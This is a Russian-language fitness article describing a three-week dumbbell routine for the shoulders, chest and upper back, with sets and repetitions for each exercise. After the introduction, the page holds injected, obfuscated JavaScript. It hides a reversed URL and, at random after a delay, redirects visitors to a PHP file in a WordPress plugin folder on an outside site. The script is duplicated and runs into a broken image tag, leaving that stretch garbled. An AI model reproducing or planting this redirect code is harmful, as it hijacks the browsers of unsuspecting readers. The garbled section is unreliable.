Тонкие ремешки лифа Вашего платья уже не выглядят так мило со складками. Но не волнуйтесь! Есть отличная тренировка для плеч и верхней части спины, которая придаст Вам сексуальности в кратчайшие сроки! Ну, в течении 3-х недель, если быть более точным.
Тренировка занимает всего 12 минут, 3 раза в неделю в течение 3-х недель.
Начните упражнение с 5-8 килограммовыми гантелями в каждой руке и ногами на ширине плеч.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to3.jpg» alt=»» width=»1474″ height=»901″>
- Работаем на грудь, плечи и верхнюю часть спины.
- Руки вдоль туловища, ладони вперед.
- Поднимите руки до уровня плеч, ладонями к потолку. Выдержите паузу, почувствовав напряжение мышц до легкого жжения в них.
- Одним движением, поднимите руки над головой, ладонями назад, и сведите гантели вместе.
- Медленно верните руки до уровня плеч, выдержите паузу и ниже в исходное положение. Держите тело ровно для максимального усиления.
- 3 подхода по 6-8 повторений.
- Грудь, средняя и верхняя части спины.
- Ноги на ширине плеч, колени слегка согнуты.
- Наклонитесь вперед так чтобы верхняя часть тела была параллельна полу. Держите руки свободно вниз к полу.
- Медленно поднимите руки на уровне плеч параллельно полу. Пауза и плавно верните руки в исходное положение.
- 3 подхода по 10-12 повторений.
- Верхняя часть спины и плеч.
- Ноги на ширине плеч, колени слегка согнуты.. Наклоните туловище вперед примерно на 45 градусов.
- Скрестите руки на запястьях перед коленями. Медленно поднимите руки на высоту плеч и обратно вниз в исходное положение. Повторите, скрестив руки наоборот.
- 3 подхода по 10-12 повторений.
- Плечи и грудь.
- Поднимите руки в стороны на уровне плеч, ладони вверх.
- Согните локти под углом 90 градусов и сведите руки вместе перед грудью до касания друг с другом. Не опускайте предплечья. Медленно вернитесь в исходное положение.
- 3 подхода по 10-12 повторений.